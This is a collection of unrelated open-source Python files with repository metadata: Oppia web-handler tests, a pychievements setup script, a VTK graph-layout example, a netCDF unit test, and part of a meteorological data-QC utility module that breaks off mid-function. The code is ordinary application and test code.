self.post_json( '/explorehandler/answer_submitted_event/%s' % exp_id, { 'old_state_name': state_name_1, 'answer': 'This is an answer.', 'version': version, 'client_time_spent_in_secs': 0, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'answer_group_index': 0, 'rule_spec_index': 0, 'classification_categorization': ( exp_domain.EXPLICIT_CLASSIFICATION), } ) submitted_answer = stats_services.get_state_answers( exp_id, version, state_name_1) self.assertEqual( len(submitted_answer.get_submitted_answer_dict_list()), 1) self.assertEqual( submitted_answer.get_submitted_answer_dict_list()[0]['answer'], 'This is an answer.' ) self.logout() def test_submit_answer_for_exploration_raises_error_with_no_version(self): exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.login(self.VIEWER_EMAIL) exploration_dict = self.get_json( '%s/%s' % (feconf.EXPLORATION_INIT_URL_PREFIX, exp_id)) state_name_1 = exploration_dict['exploration']['init_state_name'] response = self.post_json( '/explorehandler/answer_submitted_event/%s' % exp_id, { 'old_state_name': state_name_1, 'answer': 'This is an answer.', 'version': None, 'client_time_spent_in_secs': 0, 'session_id': '1PZTCw9JY8y-8lqBeuoJS2ILZMxa5m8N', 'answer_group_index': 0, 'rule_spec_index': 0, 'classification_categorization': ( exp_domain.EXPLICIT_CLASSIFICATION), }, expected_status_int=400 ) self.assertEqual(response['error'], 'NONE EXP VERSION: Answer Submit') class StateHitEventHandlerTests(test_utils.GenericTestBase): def setUp(self): super(StateHitEventHandlerTests, self).setUp() self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) def test_hitting_new_state(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) exploration_version = 1 all_models = ( stats_models.StateHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) self.post_json( '/explorehandler/state_hit_event/%s' % exp_id, { 'new_state_name': 'new_state', 'exploration_version': exploration_version, 'client_time_spent_in_secs': 0, 'session_id': 'session_id', 'old_params': {} } ) all_models = ( stats_models.StateHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 1) model = all_models.get() self.assertEqual(model.exploration_id, exp_id) self.assertEqual(model.state_name, 'new_state') self.assertEqual(model.session_id, 'session_id') self.assertEqual(model.exploration_version, exploration_version) self.assertEqual(model.params, {}) self.assertEqual(model.play_type, feconf.PLAY_TYPE_NORMAL) self.logout() def test_cannot_hit_new_state_with_no_exploration_version(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) all_models = ( stats_models.StateHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) response = self.post_json( '/explorehandler/state_hit_event/%s' % exp_id, { 'new_state_name': 'new_state', 'exploration_version': None, 'client_time_spent_in_secs': 0, 'session_id': 'session_id', 'old_params': {} }, expected_status_int=400 ) self.assertEqual(response['error'], 'NONE EXP VERSION: State hit') self.logout() def test_cannot_hit_new_state_with_no_new_state_name(self): self.login(self.VIEWER_EMAIL) observed_log_messages = [] def _mock_logging_function(msg): """Mocks logging.error().""" observed_log_messages.append(msg) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) exploration_version = 1 all_models = ( stats_models.StateHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) with self.swap(logging, 'error', _mock_logging_function): self.post_json( '/explorehandler/state_hit_event/%s' % exp_id, { 'new_state_name': None, 'exploration_version': exploration_version, 'client_time_spent_in_secs': 0, 'session_id': 'session_id', 'old_params': {} } ) self.assertEqual( observed_log_messages, ['Unexpected StateHit event for the END state.']) self.logout() class StateCompleteEventHandlerTests(test_utils.GenericTestBase): def setUp(self): super(StateCompleteEventHandlerTests, self).setUp() self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) def test_completing_a_state(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) exp_version = 1 all_models = ( stats_models.StateCompleteEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) self.post_json( '/explorehandler/state_complete_event/%s' % exp_id, { 'state_name': 'state_name', 'exp_version': exp_version, 'time_spent_in_state_secs': 2.0, 'session_id': 'session_id' } ) all_models = ( stats_models.StateCompleteEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 1) model = all_models.get() self.assertEqual(model.exp_id, exp_id) self.assertEqual(model.state_name, 'state_name') self.assertEqual(model.session_id, 'session_id') self.assertEqual(model.exp_version, exp_version) self.assertEqual(model.time_spent_in_state_secs, 2.0) self.logout() def test_cannot_complete_state_with_no_exploration_version(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) all_models = ( stats_models.StateCompleteEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) response = self.post_json( '/explorehandler/state_complete_event/%s' % exp_id, { 'state_name': 'state_name', 'time_spent_in_state_secs': 2.0, 'session_id': 'session_id' }, expected_status_int=400 ) self.assertEqual(response['error'], 'NONE EXP VERSION: State Complete') self.logout() class LeaveForRefresherExpEventHandlerTests(test_utils.GenericTestBase): def setUp(self): super(LeaveForRefresherExpEventHandlerTests, self).setUp() self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) def test_leaving_an_exploration(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) exp_version = 1 all_models = ( stats_models.LeaveForRefresherExplorationEventLogEntryModel .get_all()) self.assertEqual(all_models.count(), 0) self.post_json( '/explorehandler/leave_for_refresher_exp_event/%s' % exp_id, { 'state_name': 'state_name', 'exp_version': exp_version, 'time_spent_in_state_secs': 2.0, 'session_id': 'session_id', 'refresher_exp_id': 'refresher_exp_id' } ) all_models = ( stats_models.LeaveForRefresherExplorationEventLogEntryModel .get_all()) self.assertEqual(all_models.count(), 1) model = all_models.get() self.assertEqual(model.exp_id, exp_id) self.assertEqual(model.refresher_exp_id, 'refresher_exp_id') self.assertEqual(model.state_name, 'state_name') self.assertEqual(model.session_id, 'session_id') self.assertEqual(model.exp_version, exp_version) self.assertEqual(model.time_spent_in_state_secs, 2.0) self.logout() class ExplorationStartEventHandlerTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationStartEventHandlerTests, self).setUp() self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) def test_starting_a_state(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) version = 1 all_models = ( stats_models.StartExplorationEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) self.post_json( '/explorehandler/exploration_start_event/%s' % exp_id, { 'state_name': 'state_name', 'version': version, 'params': {}, 'session_id': 'session_id' } ) all_models = ( stats_models.StartExplorationEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 1) model = all_models.get() self.assertEqual(model.exploration_id, exp_id) self.assertEqual(model.state_name, 'state_name') self.assertEqual(model.session_id, 'session_id') self.assertEqual(model.exploration_version, version) self.assertEqual(model.params, {}) self.assertEqual(model.play_type, feconf.PLAY_TYPE_NORMAL) self.logout() def test_cannot_start_a_state_with_no_exploration_version(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) all_models = ( stats_models.StartExplorationEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) response = self.post_json( '/explorehandler/exploration_start_event/%s' % exp_id, { 'state_name': 'state_name', 'params': {}, 'session_id': 'session_id' }, expected_status_int=400 ) self.assertEqual( response['error'], 'NONE EXP VERSION: Exploration start') self.logout() class ExplorationActualStartEventHandlerTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationActualStartEventHandlerTests, self).setUp() self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) def test_actually_starting_a_state(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) version = 1 all_models = ( stats_models.ExplorationActualStartEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) self.post_json( '/explorehandler/exploration_actual_start_event/%s' % exp_id, { 'state_name': 'state_name', 'exploration_version': version, 'session_id': 'session_id' } ) all_models = ( stats_models.ExplorationActualStartEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 1) model = all_models.get() self.assertEqual(model.exp_id, exp_id) self.assertEqual(model.state_name, 'state_name') self.assertEqual(model.session_id, 'session_id') self.assertEqual(model.exp_version, version) self.logout() def test_cannot_actually_start_a_state_with_no_exploration_version(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) all_models = ( stats_models.ExplorationActualStartEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) response = self.post_json( '/explorehandler/exploration_actual_start_event/%s' % exp_id, { 'state_name': 'state_name', 'session_id': 'session_id' }, expected_status_int=400 ) self.assertEqual(response['error'], 'NONE EXP VERSION: Actual Start') self.logout() class SolutionHitEventHandlerTests(test_utils.GenericTestBase): def setUp(self): super(SolutionHitEventHandlerTests, self).setUp() self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) def test_viewing_solution(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) version = 1 all_models = ( stats_models.SolutionHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) self.post_json( '/explorehandler/solution_hit_event/%s' % exp_id, { 'state_name': 'state_name', 'exploration_version': version, 'session_id': 'session_id', 'time_spent_in_state_secs': 2.0 } ) all_models = ( stats_models.SolutionHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 1) model = all_models.get() self.assertEqual(model.exp_id, exp_id) self.assertEqual(model.state_name, 'state_name') self.assertEqual(model.session_id, 'session_id') self.assertEqual(model.exp_version, version) self.assertEqual(model.time_spent_in_state_secs, 2.0) self.logout() def test_cannot_view_solution_with_no_exploration_version(self): self.login(self.VIEWER_EMAIL) # Load demo exploration. exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) all_models = ( stats_models.SolutionHitEventLogEntryModel.get_all()) self.assertEqual(all_models.count(), 0) response = self.post_json( '/explorehandler/solution_hit_event/%s' % exp_id, { 'state_name': 'state_name', 'session_id': 'session_id', 'time_spent_in_state_secs': 2.0 }, expected_status_int=400 ) self.assertEqual(response['error'], 'NONE EXP VERSION: Solution hit') self.logout() class ExplorationEmbedPageTests(test_utils.GenericTestBase): COL_ID = 'col_id' EXP_ID = 'exp_id' def setUp(self): super(ExplorationEmbedPageTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) def test_exploration_embed_page(self): self.login(self.OWNER_EMAIL) self.save_new_valid_collection(self.COL_ID, self.owner_id) exploration = self.save_new_valid_exploration( self.EXP_ID, self.owner_id) response = self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_EMBED_PREFIX, self.EXP_ID), params={ 'v': exploration.version, 'collection_id': self.COL_ID } ) self.assertIn( '<exploration-player-page></exploration-player-page>', response.body) self.logout() def test_handler_raises_error_with_invalid_exploration_id(self): self.login(self.OWNER_EMAIL) self.save_new_valid_collection(self.COL_ID, self.owner_id) self.get_html_response( '%s/invalid_exp_id' % (feconf.EXPLORATION_URL_EMBED_PREFIX), params={ 'collection_id': self.COL_ID }, expected_status_int=404 ) self.logout() def test_handler_raises_error_with_invalid_collection_id(self): self.login(self.OWNER_EMAIL) exploration = self.save_new_valid_exploration( self.EXP_ID, self.owner_id) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_EMBED_PREFIX, self.EXP_ID), params={ 'v': exploration.version, 'collection_id': 'invalid_collection_id' }, expected_status_int=404 ) self.logout() def test_handler_raises_error_with_invalid_version(self): self.login(self.OWNER_EMAIL) self.save_new_valid_exploration(self.EXP_ID, self.owner_id) self.save_new_valid_collection(self.COL_ID, self.owner_id) self.get_html_response( '%s/%s' % (feconf.EXPLORATION_URL_EMBED_PREFIX, self.EXP_ID), params={ 'v': '10', 'collection_id': self.COL_ID }, expected_status_int=404 ) self.logout() class LearnerAnswerDetailsSubmissionHandlerTests(test_utils.GenericTestBase): """Tests for learner answer info handler tests.""" def test_submit_learner_answer_details_for_exploration_states(self): self.signup(self.VIEWER_EMAIL, self.VIEWER_USERNAME) self.login(self.VIEWER_EMAIL) exp_id = '6' exp_services.delete_demo(exp_id) exp_services.load_demo(exp_id) entity_type = feconf.ENTITY_TYPE_EXPLORATION csrf_token = self.get_new_csrf_token() with self.swap( constants, 'ENABLE_SOLICIT_ANSWER_DETAILS_FEATURE', False): self.put_json( '%s/%s/%s' % ( feconf.LEARNER_ANSWER_DETAILS_SUBMIT_URL, entity_type, exp_id), { 'state_name': 'abc', 'interaction_id': 'TextInput', 'answer': 'This is an answer.', 'answer_details': 'This is an answer details.', }, csrf_token=csrf_token, expected_status_int=404) with self.swap( constants, 'ENABLE_SOLICIT_ANSWER_DETAILS_FEATURE', True): exploration_dict = self.get_json( '%s/%s' % (feconf.EXPLORATION_INIT_URL_PREFIX, exp_id)) state_name = exploration_dict['exploration']['init_state_name'] interaction_id = exploration_dict['exploration'][ 'states'][state_name]['interaction']['id'] state_reference = ( stats_services.get_state_reference_for_exploration( exp_id, state_name)) self.assertEqual(state_name, 'Sentence') self.assertEqual(interaction_id, 'TextInput') self.put_json( '%s/%s/%s' % ( feconf.LEARNER_ANSWER_DETAILS_SUBMIT_URL, entity_type, exp_id), { 'state_name': state_name, 'interaction_id': interaction_id, 'answer': 'This is an answer.', 'answer_details': 'This is an answer details.', }, csrf_token=csrf_token) learner_answer_details = stats_services.get_learner_answer_details( entity_type, state_reference) self.assertEqual( learner_answer_details.state_reference, state_reference) self.assertEqual( learner_answer_details.interaction_id, interaction_id) self.assertEqual( len(learner_answer_details.learner_answer_info_list), 1) self.assertEqual( learner_answer_details.learner_answer_info_list[0].answer, 'This is an answer.') self.assertEqual( learner_answer_details.learner_answer_info_list[0] .answer_details, 'This is an answer details.') self.put_json( '%s/%s/%s' % ( feconf.LEARNER_ANSWER_DETAILS_SUBMIT_URL, entity_type, exp_id), { 'state_name': state_name, 'interaction_id': 'GraphInput', 'answer': 'This is an answer.', 'answer_details': 'This is an answer details.', }, csrf_token=csrf_token, expected_status_int=500) def test_submit_learner_answer_details_for_question(self): self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME) self.login(self.EDITOR_EMAIL) csrf_token = self.get_new_csrf_token() editor_id = self.get_user_id_from_email( self.EDITOR_EMAIL) question_id = question_services.get_new_question_id() self.save_new_question( question_id, editor_id, self._create_valid_question_data('ABC'), ['skill_1']) with self.swap( constants, 'ENABLE_SOLICIT_ANSWER_DETAILS_FEATURE', True): state_reference = ( stats_services.get_state_reference_for_question(question_id)) self.assertEqual(state_reference, question_id) self.put_json( '%s/%s/%s' % ( feconf.LEARNER_ANSWER_DETAILS_SUBMIT_URL, feconf.ENTITY_TYPE_QUESTION, question_id), { 'interaction_id': 'TextInput', 'answer': 'This is an answer.', 'answer_details': 'This is an answer details.', }, csrf_token=csrf_token) learner_answer_details = stats_services.get_learner_answer_details( feconf.ENTITY_TYPE_QUESTION, state_reference) self.assertEqual( learner_answer_details.state_reference, state_reference) self.put_json( '%s/%s/%s' % ( feconf.LEARNER_ANSWER_DETAILS_SUBMIT_URL, feconf.ENTITY_TYPE_QUESTION, question_id), { 'interaction_id': 'TextInput', 'answer': 'This is an answer.', 'answer_details': 'This is an answer details.', }, csrf_token=csrf_token) self.put_json( '%s/%s/%s' % ( feconf.LEARNER_ANSWER_DETAILS_SUBMIT_URL, feconf.ENTITY_TYPE_QUESTION, question_id), { 'interaction_id': 'GraphInput', 'answer': 'This is an answer.', 'answer_details': 'This is an answer details.', }, csrf_token=csrf_token, expected_status_int=500)
prasanna08/oppia
core/controllers/reader_test.py
Python
apache-2.0
102,089
[ "VisIt" ]
03c59bb0d93273ba48e8810a8b4d913c533cc57f477dea06b8ecc1fa2be2183e
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys try: from setuptools import setup except ImportError: from distutils.core import setup import pychievements def publish(): """Publish to PyPi""" os.system("python setup.py sdist upload") if sys.argv[-1] == "publish": publish() sys.exit() setup( name='pychievements', version=pychievements.__version__, description='Python Achievements Framework', long_description=open('README.rst').read() + '\n\n' + open('HISTORY.rst').read(), author='Brian Knobbs', author_email='brian@packetperception.org', url='https://github.com/PacketPerception/pychievements', packages=[ 'pychievements', ], extras_require={ 'cli': ["clint"] }, license='MIT', classifiers=( 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Natural Language :: English', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 3', 'Topic :: Software Development :: Libraries', 'Topic :: Software Development :: Libraries :: Application Frameworks', ), )
PacketPerception/pychievements
setup.py
Python
mit
1,268
[ "Brian" ]
71f6d9dff8e6ce0df7e5272e767d75267745a8c5f432c7d738913f777d4b8499
from vtk import * vertexDegree = vtkProgrammableFilter() def computeVertexDegree(): input = vertexDegree.GetInput() output = vertexDegree.GetOutput() output.ShallowCopy(input) # Create output array vertexArray = vtkIntArray() vertexArray.SetName("VertexDegree") vertexArray.SetNumberOfTuples(output.GetNumberOfVertices()) # Loop through all the vertices setting the degree for the new attribute array for i in range(output.GetNumberOfVertices()): vertexArray.SetValue(i, output.GetDegree(i)) # Add the new attribute array to the output graph output.GetVertexData().AddArray(vertexArray) vertexDegree.SetExecuteMethod(computeVertexDegree) # VTK Pipeline randomGraph = vtkRandomGraphSource() randomGraph.SetNumberOfVertices(25) randomGraph.SetStartWithTree(True) vertexDegree.AddInputConnection(randomGraph.GetOutputPort()) view = vtkGraphLayoutView() view.AddRepresentationFromInputConnection(vertexDegree.GetOutputPort()) view.SetVertexColorArrayName("VertexDegree") view.SetVertexLabelVisibility(True) view.SetVertexColorArrayName("VertexDegree") view.SetColorVertices(True) view.SetVertexLabelFontSize(20) theme = vtkViewTheme.CreateMellowTheme() theme.SetLineWidth(3) theme.SetPointSize(10) view.ApplyViewTheme(theme) theme.FastDelete() view.ResetCamera() view.Render() view.GetInteractor().Start()
b3c/VTK-5.8
Examples/Infovis/Python/vertex_degree_programmable.py
Python
bsd-3-clause
1,348
[ "VTK" ]
bb7bf573c39d75fb2f3530ac7bfaa11fc6945d8a904b091ff4811a5ca5833cff
from netCDF4p import Dataset import tempfile, unittest, os import numpy as np file_name = tempfile.mktemp(".nc") xdim=None; ydim=121; zdim=169 datashape = (ydim,zdim) data = np.ones(datashape,dtype=np.float) class ShapeTestCase(unittest.TestCase): def setUp(self): self.file = file_name f = Dataset(file_name,'w') f.createDimension('x',xdim) f.createDimension('y',ydim) f.createDimension('z',zdim) v = f.createVariable('data',np.float,('x','y','z')) f.close() def tearDown(self): # Remove the temporary files os.remove(self.file) def runTest(self): """test for issue 90 (array shape should not be modified by assigment to netCDF variable)""" f = Dataset(self.file, 'a') v = f.variables['data'] v[0] = data # make sure shape of data array # is not changed by assigning it # to a netcdf var with one more dimension (issue 90) assert(data.shape == datashape) f.close() if __name__ == '__main__': unittest.main()
mathause/netCDF4p
test/tst_shape.py
Python
mit
1,084
[ "NetCDF" ]
29cbf117ee012102139267ae61390eaba49b2e615a7da7db121d1267e4206e42
# the following line needed for unicode character in convert_anglestring # -*- coding: latin-1 -*- import ast import constants as c import copy import datetime import dateutil import logging import math import meteorologicalfunctions as mf import netCDF4 import numpy import os import platform import pytz import sys import time import Tkinter,tkSimpleDialog import xlrd import xlwt log = logging.getLogger('qc.utils') def bp(fx,tao): """ Function to calculate the b and p coeficients of the Massman frequency correction. """ bp = 2 * c.Pi * fx * tao return bp def cfkeycheck(cf,Base='Variables',ThisOne=[],key=[]): if len(ThisOne) == 0: return if len(key) == 0: if Base in cf.keys() and ThisOne in cf[Base].keys(): return ThisOne in cf[Base].keys() else: return else: if Base in cf.keys() and ThisOne in cf[Base].keys(): return key in cf[Base][ThisOne].keys() else: return def cfoptionskeylogical(cf,Key='',default=False): if 'Options' in cf: if Key in cf['Options']: returnValue = cf.get('Options').as_bool(Key) #if str(cf['Options'][Key]).lower()=="true" or str(cf['Options'][Key]).lower()=="yes": #returnValue = True #else: #returnValue = False else: returnValue = default else: returnValue = default return returnValue #def CheckQCFlags(ds): #""" #Purpose: #Make sure that all values of -9999 in a data series have a non-zero QC flag value. #Usage: #qcutils.CheckQCFlags(ds) #Author: PRI #Date: August 2014 #""" #for ThisOne in ds.series.keys(): #data = numpy.ma.masked_values(ds.series[ThisOne]["Data"],-9999) #flag = numpy.ma.masked_equal(ds.series[ThisOne]["Flag"],0) #mask = data.mask&flag.mask #index = numpy.ma.where(mask==True)[0] #ds.series[ThisOne]["Flag"][index] = numpy.int32(8) def CheckQCFlags(ds): """ Purpose: Make sure that all values of -9999 in a data series have a non-zero QC flag value. Usage: qcutils.CheckQCFlags(ds) Author: PRI Date: August 2014 """ # force any values of -9999 with QC flags of 0 to have a QC flag of 8 for ThisOne in ds.series.keys(): data = numpy.ma.masked_values(ds.series[ThisOne]["Data"],-9999) flag = numpy.ma.masked_equal(numpy.mod(ds.series[ThisOne]["Flag"],10),0) mask = data.mask&flag.mask index = numpy.ma.where(mask==True)[0] ds.series[ThisOne]["Flag"][index] = numpy.int32(8) # force all values != -9999 to have QC flag = 0, 10, 20 etc for ThisOne in ds.series.keys(): index = numpy.where((abs(ds.series[ThisOne]['Data']-numpy.float64(c.missing_value))>c.eps)& (numpy.mod(ds.series[ThisOne]["Flag"],10)!=0)) ds.series[ThisOne]["Flag"][index] = numpy.int32(0) def CheckTimeStep(ds): """ Purpose: Checks the datetime series in the data structure ds to see if there are any missing time stamps. This function returns a logical variable that is true if any gaps exist in the time stamp. Useage: has_gaps = CheckTimeSTep(ds) if has_gaps: <do something about missing time stamps> Author: PRI Date: April 2013 """ # set the has_gaps logical has_gaps = False # get the number of records nRecs = int(ds.globalattributes["nc_nrecs"]) # get the time step ts = int(ds.globalattributes["time_step"]) # time step between records in seconds dt = get_timestep(ds) # indices of elements where time step not equal to default index = numpy.where(dt!=ts*60)[0] # check to see if ww have any time step problems if len(index)!=0: has_gaps = True log.warning(" CheckTimeStep: "+str(len(index))+" problems found with the time stamp") return has_gaps def CheckUnits(ds,label,units,convert_units=False): """ Purpose: General units checking and conversion. Usage: qcutils.CheckUnits(ds,label,units,convert_units=True) where ds is a data structure label (string) is the label of the series for which the units are to be checked units (string) is the required units convert_units (logical, optional) is True to force conversion to required units Author: PRI Date: January 2016 """ data,flag,attr = GetSeriesasMA(ds,label) if attr["units"]==units: return if convert_units: msg = " Units for "+label+" converted from "+attr["units"]+" to "+units log.info(msg) new_data = convert_units_func(ds,data,attr["units"],units) attr["units"] = units CreateSeries(ds,label,new_data,Flag=flag,Attr=attr) else: msg = " Units mismatch but conversion disabled" log.error(msg) sys.exit() def contiguous_regions(condition): """ Purpose: Finds contiguous True regions of the boolean array "condition". Returns a 2D array where the first column is the start index of the region and the second column is the end index. Author: Joe Kington (via StackOverflow) Date: September 2014 """ # Find the indicies of changes in "condition" d = numpy.diff(condition) idx, = d.nonzero() # We need to start things after the change in "condition". Therefore, # we'll shift the index by 1 to the right. idx += 1 if condition[0]: # If the start of condition is True prepend a 0 idx = numpy.r_[0, idx] if condition[-1]: # If the end of condition is True, append the length of the array idx = numpy.r_[idx, condition.size] # Edit # Reshape the result into two columns idx.shape = (-1,2) return idx def ConvertCO2Units(cf,ds,Cc='Cc'): Cc_units_out = "mg/m3" # default value Cc_units_in = ds.series[Cc]['Attr']['units'] if 'Options' in cf: if 'CO2Units' in cf['Options']: Cc_units_out = str(cf['Options']['CO2Units']) if Cc_units_out!=Cc_units_in: log.info(' Converting CO2 concentration from '+Cc_units_in+' to '+Cc_units_out) if Cc_units_out=="umol/mol" and Cc_units_in=="mg/m3": c_mgpm3,flag,attr = GetSeriesasMA(ds,Cc) T,f,a = GetSeriesasMA(ds,'Ta') p,f,a = GetSeriesasMA(ds,'ps') c_ppm = mf.co2_ppmfrommgpm3(c_mgpm3,T,p) attr["long_name"] = attr["long_name"]+", converted to umol/mol" attr["units"] = Cc_units_out attr["standard_name"] = "mole_concentration_of_carbon_dioxide_in_air" CreateSeries(ds,Cc,c_ppm,Flag=flag,Attr=attr) elif Cc_units_out=="mg/m3" and Cc_units_in=="umol/mol": c_ppm,flag,attr = GetSeriesasMA(ds,Cc) T,f,a = GetSeriesasMA(ds,'Ta') p,f,a = GetSeriesasMA(ds,'ps') c_mgpm3 = mf.co2_mgpm3fromppm(c_ppm,T,p) attr["long_name"] = attr["long_name"]+", converted to mg/m3" attr["units"] = Cc_units_out attr["standard_name"] = "mass_concentration_of_carbon_dioxide_in_air" CreateSeries(ds,Cc,c_mgpm3,Flag=flag,Attr=attr) else: log.info(' ConvertCO2Units: input or output units for CO2 concentration not recognised') else: log.info(" CO2 concentration already in requested units") def ConvertFcUnits(cf,ds,Fc='Fc',Fc_storage='Fc_storage'): if 'Options' not in cf: return if 'FcUnits' not in cf['Options']: return # the user may want to change the units of Fc and Fc_storage Fc_units_out = str(cf['Options']['FcUnits']) # convert units of Fc if required if Fc in ds.series.keys(): Fc_units_in = ds.series[Fc]['Attr']['units'] if Fc_units_out!=Fc_units_in: log.info(' Converting CO2 flux from '+Fc_units_in+' to '+Fc_units_out) if Fc_units_out=="umol/m2/s" and Fc_units_in=="mg/m2/s": Fc_mgpm2ps,flag,attr = GetSeriesasMA(ds,Fc) Fc_umolpm2ps = mf.Fc_umolpm2psfrommgpm2ps(Fc_mgpm2ps) attr["long_name"] = attr["long_name"]+", converted to umol/m2/s" attr["units"] = Fc_units_out attr["standard_name"] = "surface_upward_mole_flux_of_carbon_dioxide" CreateSeries(ds,Fc,Fc_umolpm2ps,Flag=flag,Attr=attr) elif Fc_units_out=="mg/m2/s" and Fc_units_in=="umol/m2/s": Fc_umolpm2ps,f,a = GetSeriesasMA(ds,Fc) Fc_mgpm2ps = mf.Fc_mgpm2psfromumolpm2ps(Fc_umolpm2ps) attr["long_name"] = attr["long_name"]+', converted to mg/m2/s' attr["units"] = Fc_units_out attr["standard_name"] = "not defined" CreateSeries(ds,Fc,Fc_mgpm2ps,Flag=flag,Attr=attr) else: log.info(' ConvertFcUnits: input or output units for Fc unrecognised') # convert units of Fc_storage if required, just go with boiler plate for now if Fc_storage in ds.series.keys(): Fc_storage_units_in = ds.series[Fc_storage]['Attr']['units'] if Fc_units_out!=Fc_storage_units_in: log.info(' Converting CO2 storage flux from '+Fc_storage_units_in+' to '+Fc_units_out) if Fc_units_out=="umol/m2/s" and Fc_storage_units_in=="mg/m2/s": Fc_storage_mgpm2ps,flag,attr = GetSeriesasMA(ds,Fc_storage) Fc_storage_umolpm2ps = mf.Fc_umolpm2psfrommgpm2ps(Fc_storage_mgpm2ps) attr["long_name"] = attr["long_name"]+", converted to umol/m2/s" attr["units"] = Fc_units_out CreateSeries(ds,Fc_storage,Fc_storage_umolpm2ps,Flag=flag,Attr=attr) elif Fc_units_out=="mg/m2/s" and Fc_storage_units_in=="umol/m2/s": Fc_storage_umolpm2ps,f,a = GetSeriesasMA(ds,Fc_storage) Fc_storage_mgpm2ps = mf.Fc_mgpm2psfromumolpm2ps(Fc_storage_umolpm2ps) attr["long_name"] = attr["long_name"]+", converted to mg/m2/s" attr["units"] = Fc_units_out CreateSeries(ds,Fc_storage,Fc_storage_mgpm2ps,Flag=flag,Attr=attr) else: log.info(' ConvertFcUnits: input or output units for Fc_storage unrecognised') def convert_units_func(ds,old_data,old_units,new_units,mode="quiet"): """ Purpose: Generic routine for changing units. Nothing is done if the original units are the same as the requested units. Usage: new_data = qcutils.convert_units_func(old_data,old_units,new_units) where old_data is a 1D array of data in the original units old_units are the units of the original data new_units are the units of the new data ts is the time step Author: PRI Date: July 2015 """ if old_units==new_units: return # check the units are something we understand # add more lists here to cope with water etc co2_list = ["umol/m2/s","gC/m2","mg/m3","mgCO2/m3","umol/mol","mg/m2/s","mgCO2/m2/s"] h2o_list = ["g/m3","mmol/mol","%","frac"] t_list = ["C","K"] # h2o_list = ["%","frac","g/m3","kg/kg","mmol/mol"] ok_list = co2_list+h2o_list+t_list # parse the original units #if old_units=="umol/m^2/s": old_units="umol/m2/s" #if old_units.replace(" ","")=="umolm-2s-1": old_units="umol/m2/s" if old_units not in ok_list: msg = " Unrecognised units in quantity provided ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units not in ok_list: msg = " Unrecognised units requested ("+new_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units in co2_list: if old_units in co2_list: new_data = convert_units_co2(ds,old_data,old_units,new_units) else: msg = " New units ("+new_units+") not compatible with old ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units in h2o_list: if old_units in h2o_list: new_data = convert_units_h2o(ds,old_data,old_units,new_units) else: msg = " New units ("+new_units+") not compatible with old ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) elif new_units in t_list: if old_units in t_list: new_data = convert_units_t(ds,old_data,old_units,new_units) else: msg = " New units ("+new_units+") not compatible with old ("+old_units+")" log.error(msg) new_data = numpy.ma.array(old_data,copy=True,mask=True) else: msg = "Unrecognised units combination "+old_units+" and "+new_units log.error(msg) new_data = 